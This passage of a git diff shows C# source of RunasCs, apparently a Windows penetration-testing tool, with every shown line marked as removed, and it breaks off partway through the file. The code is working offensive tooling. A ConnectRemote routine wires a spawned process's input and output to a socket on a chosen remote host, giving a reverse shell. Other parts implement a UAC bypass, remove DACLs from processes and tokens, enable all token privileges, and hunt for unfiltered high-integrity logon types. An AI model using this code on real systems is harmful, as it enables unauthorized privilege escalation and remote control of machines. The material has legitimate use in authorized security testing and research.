diff --git a/RunasCs.cs b/RunasCs.cs index 24f4351..f9213aa 100644 --- a/RunasCs.cs +++ b/RunasCs.cs @@ -1,2654 +1,2655 @@ -using System; -using System.Text; -using System.Runtime.InteropServices; -using System.Collections.Generic; -using System.Diagnostics; -using System.Net.Sockets; -using System.Security.Principal; -using System.Security.Cryptography; -using System.ComponentModel; -using System.Net; -using Microsoft.Win32; - -public class RunasCsException : Exception -{ - private const string error_string = "[-] RunasCsException: "; - - private static string GetWin32ErrorString() - { - Console.Out.Flush(); - string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; - return errorMessage; - } - - public RunasCsException(){} - - public RunasCsException(string message) : base(error_string + message) { } - - public RunasCsException(string win32FunctionName, bool returnWin32Error) : base(error_string + win32FunctionName + " failed with error code: " + GetWin32ErrorString()) {} -} - -public class RunasCs -{ - private const Int32 Startf_UseStdHandles = 0x00000100; - private const int TokenPrimary = 1; - private const int TokenImpersonation = 2; - private const int LOGON32_PROVIDER_DEFAULT = 0; - private const int LOGON32_PROVIDER_WINNT50 = 3; - private const int LOGON32_LOGON_INTERACTIVE = 2; - private const int LOGON32_LOGON_NETWORK = 3; - private const int LOGON32_LOGON_BATCH = 4; - private const int LOGON32_LOGON_SERVICE = 5; - private const int LOGON32_LOGON_NETWORK_CLEARTEXT = 8; - private const int LOGON32_LOGON_NEW_CREDENTIALS = 9; - private const int ERROR_LOGON_TYPE_NOT_GRANTED = 1385; - private const int BUFFER_SIZE_PIPE = 1048576; - private const uint CREATE_NO_WINDOW = 0x08000000; - private const uint CREATE_SUSPENDED = 0x00000004; - private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; - private const uint DUPLICATE_SAME_ACCESS = 0x00000002; - private const uint DACL_SECURITY_INFORMATION = 0x00000004; - private const UInt32 LOGON_WITH_PROFILE = 1; - private const UInt32 LOGON_NETCREDENTIALS_ONLY = 2; - private const int GetCurrentProcess = -1; - - private IntPtr socket; - private IntPtr hErrorWrite; - private IntPtr hOutputRead; - private IntPtr hOutputWrite; - private WindowStationDACL stationDaclObj; - private IntPtr hTokenPreviousImpersonatingThread; - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - private struct STARTUPINFO - { - public Int32 cb; - public string lpReserved; - public string lpDesktop; - public string lpTitle; - public Int32 dwX; - public Int32 dwY; - public Int32 dwXSize; - public Int32 dwYSize; - public Int32 dwXCountChars; - public Int32 dwYCountChars; - public Int32 dwFillAttribute; - public Int32 dwFlags; - public Int16 wShowWindow; - public Int16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - } - - private struct ProcessInformation - { - public IntPtr process; - public IntPtr thread; - public int processId; - public int threadId; - } - - [StructLayout(LayoutKind.Sequential)] - private struct SECURITY_ATTRIBUTES - { - public int Length; - public IntPtr lpSecurityDescriptor; - public bool bInheritHandle; - } - - private enum SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - [StructLayout(LayoutKind.Sequential)] - private struct SOCKADDR_IN - { - public short sin_family; - public short sin_port; - public uint sin_addr; - public long sin_zero; - } - - [StructLayout(LayoutKind.Sequential)] - private struct WSAData - { - internal short wVersion; - internal short wHighVersion; - internal short iMaxSockets; - internal short iMaxUdpDg; - internal IntPtr lpVendorInfo; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] - internal string szDescription; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] - internal string szSystemStatus; - } - - private enum SE_OBJECT_TYPE - { - SE_UNKNOWN_OBJECT_TYPE = 0, - SE_FILE_OBJECT, - SE_SERVICE, - SE_PRINTER, - SE_REGISTRY_KEY, - SE_LMSHARE, - SE_KERNEL_OBJECT, - SE_WINDOW_OBJECT, - SE_DS_OBJECT, - SE_DS_OBJECT_ALL, - SE_PROVIDER_DEFINED_OBJECT, - SE_WMIGUID_OBJECT, - SE_REGISTRY_WOW64_32KEY - } - - [StructLayout(LayoutKind.Sequential)] - private struct PROFILEINFO - { - public int dwSize; - public int dwFlags; - [MarshalAs(UnmanagedType.LPTStr)] - public String lpUserName; - [MarshalAs(UnmanagedType.LPTStr)] - public String lpProfilePath; - [MarshalAs(UnmanagedType.LPTStr)] - public String lpDefaultPath; - [MarshalAs(UnmanagedType.LPTStr)] - public String lpServerName; - [MarshalAs(UnmanagedType.LPTStr)] - public String lpPolicyPath; - public IntPtr hProfile; - } - - [DllImport("Kernel32.dll", SetLastError=true)] - private static extern bool CloseHandle(IntPtr handle); - - [DllImport("Kernel32.dll", SetLastError=true)] - private static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds); - - [DllImport("advapi32.dll", SetLastError=true)] - private static extern bool ImpersonateLoggedOnUser(IntPtr hToken); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool SetThreadToken(ref IntPtr pHandle, IntPtr hToken); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern int ResumeThread(IntPtr hThread); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool RevertToSelf(); - - [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName,[MarshalAs(UnmanagedType.LPStr)] string pszDomain,[MarshalAs(UnmanagedType.LPStr)] string pszPassword,int dwLogonType,int dwLogonProvider,ref IntPtr phToken); - - [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx", SetLastError = true)] - private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, int TokenType, ref IntPtr DuplicateTokenHandle); - - [DllImport("advapi32.dll", SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] - private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); - - [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] - private static extern bool CreateProcessWithLogonW(String userName,String domain,String password,UInt32 logonFlags,String applicationName,String commandLine,uint creationFlags,UInt32 environment,String currentDirectory,ref STARTUPINFO startupInfo,out ProcessInformation processInformation); - - [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] - private static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName,string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles,uint dwCreationFlags,IntPtr lpEnvironment,string lpCurrentDirectory,ref STARTUPINFO lpStartupInfo,out ProcessInformation lpProcessInformation); - - [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] - private static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern uint SetSecurityInfo(IntPtr handle, SE_OBJECT_TYPE ObjectType, uint SecurityInfo, IntPtr psidOwner, IntPtr psidGroup, IntPtr pDacl, IntPtr pSacl); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize); - - [DllImport("kernel32.dll")] - private static extern bool SetNamedPipeHandleState(IntPtr hNamedPipe, ref UInt32 lpMode, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); - - [DllImport("kernel32.dll", SetLastError=true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); - - [DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)] - private static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit ); - - [DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)] - private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); - - [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] - private static extern bool GetUserProfileDirectory(IntPtr hToken, StringBuilder path, ref int dwSize); - - [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] - private static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo); - - [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] - private static extern bool UnloadUserProfile(IntPtr hToken, IntPtr hProfile); - - [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); - - [DllImport("ws2_32.dll", SetLastError = true)] - private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); - - [DllImport("ws2_32.dll", SetLastError = true)] - private static extern ushort htons(ushort hostshort); - - [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] - private static extern Int32 WSAGetLastError(); - - [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] - private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); - - [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern int closesocket(IntPtr s); - - private string GetProcessFunction(int createProcessFunction){ - if(createProcessFunction == 0) - return "CreateProcessAsUserW()"; - if(createProcessFunction == 1) - return "CreateProcessWithTokenW()"; - return "CreateProcessWithLogonW()"; - } - - private bool CreateAnonymousPipeEveryoneAccess(ref IntPtr hReadPipe, ref IntPtr hWritePipe) - { - SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); - sa.Length = Marshal.SizeOf(sa); - sa.lpSecurityDescriptor = IntPtr.Zero; - sa.bInheritHandle = true; - if (CreatePipe(out hReadPipe, out hWritePipe, ref sa, (uint)BUFFER_SIZE_PIPE)) - return true; - return false; - } - - private string ReadOutputFromPipe(IntPtr hReadPipe) - { - string output = ""; - uint dwBytesRead = 0; - byte[] buffer = new byte[BUFFER_SIZE_PIPE]; - if(!ReadFile(hReadPipe, buffer, BUFFER_SIZE_PIPE, out dwBytesRead, IntPtr.Zero)){ - output += "No output received from the process.\r\n"; - } - output += Encoding.Default.GetString(buffer, 0, (int)dwBytesRead); - return output; - } - - private IntPtr ConnectRemote(string[] remote) - { - int port = 0; - int error = 0; - string host = remote[0]; - - try { - port = Convert.ToInt32(remote[1]); - } catch { - throw new RunasCsException("Specified port is invalid: " + remote[1]); - } - - WSAData data; - if( WSAStartup(2 << 8 | 2, out data) != 0 ) { - error = WSAGetLastError(); - throw new RunasCsException(String.Format("WSAStartup failed with error code: {0}", error)); - } - - IntPtr socket = IntPtr.Zero; - socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0); - - SOCKADDR_IN sockinfo = new SOCKADDR_IN(); - sockinfo.sin_family = (short)2; - sockinfo.sin_addr = BitConverter.ToUInt32(((IPAddress.Parse(host)).GetAddressBytes()), 0); - sockinfo.sin_port = (short)htons((ushort)port); - - if ( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { - error = WSAGetLastError(); - throw new RunasCsException(String.Format("WSAConnect failed with error code: {0}", error)); - } - - return socket; - } - - private bool ImpersonateLoggedOnUserWithProperIL(IntPtr hToken, out IntPtr hTokenDuplicate) { - IntPtr hTokenDuplicateLocal = new IntPtr(0); - bool result = false; - // if our main thread was already impersonating remember to restore the previous thread token - if (WindowsIdentity.GetCurrent(true) != null) - this.hTokenPreviousImpersonatingThread = WindowsIdentity.GetCurrent(true).Token; - if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDuplicateLocal)) - throw new RunasCsException("DuplicateTokenEx", true); - if(AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDuplicateLocal)) - AccessToken.SetTokenIntegrityLevel(hTokenDuplicateLocal, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); - result = ImpersonateLoggedOnUser(hTokenDuplicateLocal); - hTokenDuplicate = hTokenDuplicateLocal; - return result; - } - - private void RevertToSelfCustom() { - RevertToSelf(); - if (this.hTokenPreviousImpersonatingThread != IntPtr.Zero) - ImpersonateLoggedOnUser(this.hTokenPreviousImpersonatingThread); - } - - private void GetUserEnvironmentBlock(IntPtr hToken, string username, bool forceProfileCreation, bool userProfileExists, out IntPtr lpEnvironment) - { - bool result = false; - lpEnvironment = new IntPtr(0); - PROFILEINFO profileInfo = new PROFILEINFO(); - IntPtr hTokenDuplicate; - if (forceProfileCreation || userProfileExists) { - profileInfo.dwSize = Marshal.SizeOf(profileInfo); - profileInfo.lpUserName = username; - result = LoadUserProfile(hToken, ref profileInfo); - if (result == false && Marshal.GetLastWin32Error() == 1314) - Console.Out.WriteLine("[*] Warning: LoadUserProfile failed due to insufficient permissions"); - } - ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate); - try { - CreateEnvironmentBlock(out lpEnvironment, hToken, false); - } - catch { - result = false; - } - RevertToSelfCustom(); - CloseHandle(hTokenDuplicate); - if (result && (forceProfileCreation || userProfileExists)) UnloadUserProfile(hToken, profileInfo.hProfile); - } - - private bool IsUserProfileCreated(string username, string password, string domainName, int logonType) { - bool result = false; - IntPtr hToken = IntPtr.Zero, hTokenDuplicate = IntPtr.Zero; - int logonProvider = LOGON32_PROVIDER_DEFAULT; - if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) logonProvider = LOGON32_PROVIDER_WINNT50; - result = LogonUser(username, domainName, password, logonType, logonProvider, ref hToken); - if (result == false) - throw new RunasCsException("LogonUser", true); - ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate); - try - { - int dwSize = 0; - GetUserProfileDirectory(hToken, null, ref dwSize); - StringBuilder profileDir = new StringBuilder(dwSize); - result = GetUserProfileDirectory(hToken, profileDir, ref dwSize); - } - catch { - result = false; - } - RevertToSelfCustom(); - CloseHandle(hToken); - CloseHandle(hTokenDuplicate); - return result; - } - - // UAC bypass discussed in this UAC quiz tweet --> https://twitter.com/splinter_code/status/1458054161472307204 - // thanks @winlogon0 for the implementation --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs - private bool CreateProcessWithLogonWUacBypass(int logonType, uint logonFlags, string username, string domainName, string password, string processPath, string commandLine, ref STARTUPINFO startupInfo, out ProcessInformation processInfo) { - bool result = false; - IntPtr hToken = new IntPtr(0); - if (!LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_DEFAULT, ref hToken)) - throw new RunasCsException("CreateProcessWithLogonWUacBypass: LogonUser", true); - // here we set the IL of the new token equal to our current process IL. Needed or seclogon will fail. - AccessToken.SetTokenIntegrityLevel(hToken, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); - // remove acl to our current process. Needed for seclogon - SetSecurityInfo((IntPtr)GetCurrentProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); - using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(hToken)) - { - if (domainName == "") // fixing bugs in seclogon ... - domainName = "."; - result = CreateProcessWithLogonW(username, domainName, password, logonFlags | LOGON_NETCREDENTIALS_ONLY, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo); - } - CloseHandle(hToken); - return result; - } - - private string ParseCommonProcessesInCommandline(string commandline) { - string commandlineRet = commandline; - string[] args = commandline.Split(' '); - if (args[0].ToLower() == "cmd" || args[0].ToLower() == "cmd.exe") { - args[0] = Environment.GetEnvironmentVariable("COMSPEC"); - commandlineRet = string.Join(" ", args); - } - if (args[0].ToLower() == "powershell" || args[0].ToLower() == "powershell.exe") { - args[0] = Environment.GetEnvironmentVariable("WINDIR") + @"\System32\WindowsPowerShell\v1.0\powershell.exe"; - commandlineRet = string.Join(" ", args); - } - return commandlineRet; - } - - private bool IsLimitedUserLogon(IntPtr hToken, string username, string domainName, string password, out int logonTypeNotFiltered) { - bool isLimitedUserLogon = false; - bool isTokenUACFiltered = false; - IntPtr hTokenNetwork = IntPtr.Zero; - IntPtr hTokenBatch = IntPtr.Zero; - IntPtr hTokenService = IntPtr.Zero; - logonTypeNotFiltered = 0; - isTokenUACFiltered = AccessToken.IsFilteredUACToken(hToken); - if (isTokenUACFiltered) - { - logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT; - isLimitedUserLogon = true; - } - else { - // Check differences between the requested logon type and non-filtered logon types (Network, Batch, Service) - // If IL mismatch, the user has potentially more privileges than the requested logon - AccessToken.IntegrityLevel userTokenIL = AccessToken.GetTokenIntegrityLevel(hToken); - if (LogonUser(username, domainName, password, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_PROVIDER_DEFAULT, ref hTokenNetwork) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenNetwork)) - { - isLimitedUserLogon = true; - logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT; - } - else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_SERVICE, LOGON32_PROVIDER_DEFAULT, ref hTokenService) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenService)) - { - // we check Service logon because by default it has the SeImpersonate privilege, available only in High IL - isLimitedUserLogon = true; - logonTypeNotFiltered = LOGON32_LOGON_SERVICE; - } - else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, ref hTokenBatch) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenBatch)) - { - isLimitedUserLogon = true; - logonTypeNotFiltered = LOGON32_LOGON_BATCH; - } - if (hTokenNetwork != IntPtr.Zero) CloseHandle(hTokenNetwork); - if (hTokenBatch != IntPtr.Zero) CloseHandle(hTokenBatch); - if (hTokenService != IntPtr.Zero) CloseHandle(hTokenService); - } - return isLimitedUserLogon; - } - - private void CheckAvailableUserLogonType(string username, string password, string domainName, int logonType, int logonProvider) { - IntPtr hTokenCheck1 = IntPtr.Zero; - if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hTokenCheck1)) { - if (Marshal.GetLastWin32Error() == ERROR_LOGON_TYPE_NOT_GRANTED) { - int availableLogonType = 0; - int[] logonTypeTryOrder = new int[] { LOGON32_LOGON_SERVICE, LOGON32_LOGON_BATCH, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_LOGON_NETWORK, LOGON32_LOGON_INTERACTIVE}; - foreach (int logonTypeTry in logonTypeTryOrder) - { - IntPtr hTokenCheck2 = IntPtr.Zero; - if (LogonUser(username, domainName, password, logonTypeTry, logonProvider, ref hTokenCheck2)) { - availableLogonType = logonTypeTry; - if (AccessToken.GetTokenIntegrityLevel(hTokenCheck2) > AccessToken.IntegrityLevel.Medium) - { - availableLogonType = logonTypeTry; - CloseHandle(hTokenCheck2); - break; - } - } - if (hTokenCheck2 != IntPtr.Zero) CloseHandle(hTokenCheck2); - } - if (availableLogonType != 0) - throw new RunasCsException(String.Format("Selected logon type '{0}' is not granted to the user '{1}'. Use available logon type '{2}'.", logonType, username, availableLogonType.ToString())); - else - throw new RunasCsException("LogonUser", true); - } - throw new RunasCsException("LogonUser", true); - } - if (hTokenCheck1 != IntPtr.Zero) CloseHandle(hTokenCheck1); - } - - private void RunasSetupStdHandlesForProcess(uint processTimeout, string[] remote, ref STARTUPINFO startupInfo, out IntPtr hOutputWrite, out IntPtr hErrorWrite, out IntPtr hOutputRead, out IntPtr socket) { - IntPtr hOutputReadTmpLocal = IntPtr.Zero; - IntPtr hOutputWriteLocal = IntPtr.Zero; - IntPtr hErrorWriteLocal = IntPtr.Zero; - IntPtr hOutputReadLocal = IntPtr.Zero; - IntPtr socketLocal = IntPtr.Zero; - if (processTimeout > 0) - { - IntPtr hCurrentProcess = Process.GetCurrentProcess().Handle; - if (!CreateAnonymousPipeEveryoneAccess(ref hOutputReadTmpLocal, ref hOutputWriteLocal)) - throw new RunasCsException("CreatePipe", true); - if (!DuplicateHandle(hCurrentProcess, hOutputWriteLocal, hCurrentProcess, out hErrorWriteLocal, 0, true, DUPLICATE_SAME_ACCESS)) - throw new RunasCsException("DuplicateHandle stderr write pipe", true); - if (!DuplicateHandle(hCurrentProcess, hOutputReadTmpLocal, hCurrentProcess, out hOutputReadLocal, 0, false, DUPLICATE_SAME_ACCESS)) - throw new RunasCsException("DuplicateHandle stdout read pipe", true); - CloseHandle(hOutputReadTmpLocal); - hOutputReadTmpLocal = IntPtr.Zero; - UInt32 PIPE_NOWAIT = 0x00000001; - if (!SetNamedPipeHandleState(hOutputReadLocal, ref PIPE_NOWAIT, IntPtr.Zero, IntPtr.Zero)) - throw new RunasCsException("SetNamedPipeHandleState", true); - startupInfo.dwFlags = Startf_UseStdHandles; - startupInfo.hStdOutput = hOutputWriteLocal; - startupInfo.hStdError = hErrorWriteLocal; - } - else if (remote != null) - { - socketLocal = ConnectRemote(remote); - startupInfo.dwFlags = Startf_UseStdHandles; - startupInfo.hStdInput = socketLocal; - startupInfo.hStdOutput = socketLocal; - startupInfo.hStdError = socketLocal; - } - hOutputWrite = hOutputWriteLocal; - hErrorWrite = hErrorWriteLocal; - hOutputRead = hOutputReadLocal; - socket = socketLocal; - } - - private void RunasRemoteImpersonation(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered, IntPtr hToken) { - IntPtr hTokenDupImpersonation = IntPtr.Zero; - IntPtr lpEnvironment = IntPtr.Zero; - - if (hToken == IntPtr.Zero) - { - if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) - throw new RunasCsException("LogonUser", true); - if (IsLimitedUserLogon(hToken, username, domainName, password, out logonTypeNotFiltered)) - Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); - } - - if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDupImpersonation)) - throw new RunasCsException("DuplicateTokenEx", true); - - if (AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation)) - AccessToken.SetTokenIntegrityLevel(hTokenDupImpersonation, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); - // enable all privileges assigned to the token - AccessToken.EnableAllPrivileges(hTokenDupImpersonation); - CreateEnvironmentBlock(out lpEnvironment, hToken, false); - if (!CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo)) - throw new RunasCsException("CreateProcess", true); - IntPtr hTokenProcess = IntPtr.Zero; - if (!OpenProcessToken(processInfo.process, AccessToken.TOKEN_ALL_ACCESS, out hTokenProcess)) - throw new RunasCsException("OpenProcessToken", true); - AccessToken.SetTokenIntegrityLevel(hTokenProcess, AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation)); - // this will solve some permissions errors when attempting to get the current process handle while impersonating - SetSecurityInfo(processInfo.process, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); - // this will solve some issues, e.g. Access Denied errors when running whoami.exe - SetSecurityInfo(hTokenProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); - if (!SetThreadToken(ref processInfo.thread, hTokenDupImpersonation)) - throw new RunasCsException("SetThreadToken", true); - ResumeThread(processInfo.thread); - CloseHandle(hToken); - CloseHandle(hTokenDupImpersonation); - CloseHandle(hTokenProcess); - if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); - } - - private void RunasCreateProcessWithLogonW(string username, string domainName, string password, int logonType, uint logonFlags, string commandLine, bool bypassUac, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) { - if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) - { - if (!CreateProcessWithLogonW(username, domainName, password, LOGON_NETCREDENTIALS_ONLY, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo)) - throw new RunasCsException("CreateProcessWithLogonW logon type 9", true); - } - else if (bypassUac) - { - int logonTypeBypassUac; - // the below logon types are not filtered by UAC, we allow login with them. Otherwise stick with NetworkCleartext - if (logonType == LOGON32_LOGON_NETWORK || logonType == LOGON32_LOGON_BATCH || logonType == LOGON32_LOGON_SERVICE || logonType == LOGON32_LOGON_NETWORK_CLEARTEXT) - logonTypeBypassUac = logonType; - else - { - // Console.Out.WriteLine("[*] Warning: UAC Bypass is not compatible with logon type '" + logonType.ToString() + "'. Reverting to the NetworkCleartext logon type '8'. To force a specific logon type, use the flag combination --bypass-uac and --logon-type."); - logonTypeBypassUac = LOGON32_LOGON_NETWORK_CLEARTEXT; - } - if (!CreateProcessWithLogonWUacBypass(logonTypeBypassUac, logonFlags, username, domainName, password, null, commandLine, ref startupInfo, out processInfo)) - throw new RunasCsException("CreateProcessWithLogonWUacBypass", true); - } - else - { - IntPtr hTokenUacCheck = new IntPtr(0); - if (logonType != LOGON32_LOGON_INTERACTIVE) - Console.Out.WriteLine("[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '" + logonType.ToString() + "'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type."); - // we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon - CheckAvailableUserLogonType(username, password, domainName, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT); - // we use the logon type 2 - Interactive because CreateProcessWithLogonW internally use this logon type for the logon - if (!LogonUser(username, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref hTokenUacCheck)) - throw new RunasCsException("LogonUser", true); - if (IsLimitedUserLogon(hTokenUacCheck, username, domainName, password, out logonTypeNotFiltered)) - Console.Out.WriteLine(String.Format("[*] Warning: The logon for user '{0}' is limited. Use the flag combination --bypass-uac and --logon-type '{1}' to obtain a more privileged token.", username, logonTypeNotFiltered)); - CloseHandle(hTokenUacCheck); - if (!CreateProcessWithLogonW(username, domainName, password, logonFlags, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo)) - throw new RunasCsException("CreateProcessWithLogonW logon type 2", true); - } - } - - private void RunasCreateProcessWithTokenW(string username, string domainName, string password, string commandLine, int logonType, uint logonFlags, int logonProvider, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered, IntPtr hToken) { - IntPtr hTokenDuplicate = IntPtr.Zero; - bool checkLimitedLogon = true; - - if (hToken == IntPtr.Zero) { - if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) - throw new RunasCsException("LogonUser", true); - } else { - checkLimitedLogon = false; - } - - if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate)) - throw new RunasCsException("DuplicateTokenEx", true); - - if (checkLimitedLogon) { - if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered)) - Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); - } - - // Enable SeImpersonatePrivilege on our current process needed by the seclogon to make the CreateProcessWithTokenW call - AccessToken.EnablePrivilege("SeImpersonatePrivilege", WindowsIdentity.GetCurrent().Token); - // Enable all privileges for the token of the new process - AccessToken.EnableAllPrivileges(hTokenDuplicate); - if (!CreateProcessWithTokenW(hTokenDuplicate, logonFlags, null, commandLine, CREATE_NO_WINDOW, IntPtr.Zero, null, ref startupInfo, out processInfo)) - throw new RunasCsException("CreateProcessWithTokenW", true); - CloseHandle(hToken); - 